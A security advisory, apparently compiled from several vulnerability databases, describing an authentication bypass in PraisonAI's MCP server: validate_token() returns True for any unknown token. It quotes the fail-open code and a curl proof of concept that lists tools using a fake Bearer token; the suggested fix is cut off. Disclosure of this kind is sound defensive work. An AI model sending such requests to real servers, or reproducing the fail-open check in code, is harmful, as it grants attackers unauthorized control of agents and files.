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cnvd-2026-18147

EUVD-2026-280411

fkie_cve-2026-34953

PraisonAI is a multi-agent teams system. Prior to version 4.5.97, OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. This issue has been patched in version 4.5.97.

GHSA-98f9-fqg5-hvq5 — PraisonAI Has Authentication Bypass via OAuthManager.validate_token()

Affected: PyPI: praisonai

### Summary

`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

### Details

`oauth.py:364` (source) -> `oauth.py:374` (loop miss) -> `oauth.py:381` (sink) ```python # source def validate_token(self, token: str) -> bool: for stored_token in self._tokens.values(): if stored_token.access_token == token: return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through return True ```

### PoC ```bash # install: pip install -e src/praisonai # start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \ -H "Authorization: Bearer fake_token_abc123" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools) # including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write ```

### Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.

### Suggested Fix ```python def validate_token(self, token: str)…

PYSEC-2026-468 — PraisonAI Has Authentication Bypass via OAuthManager.validate_token()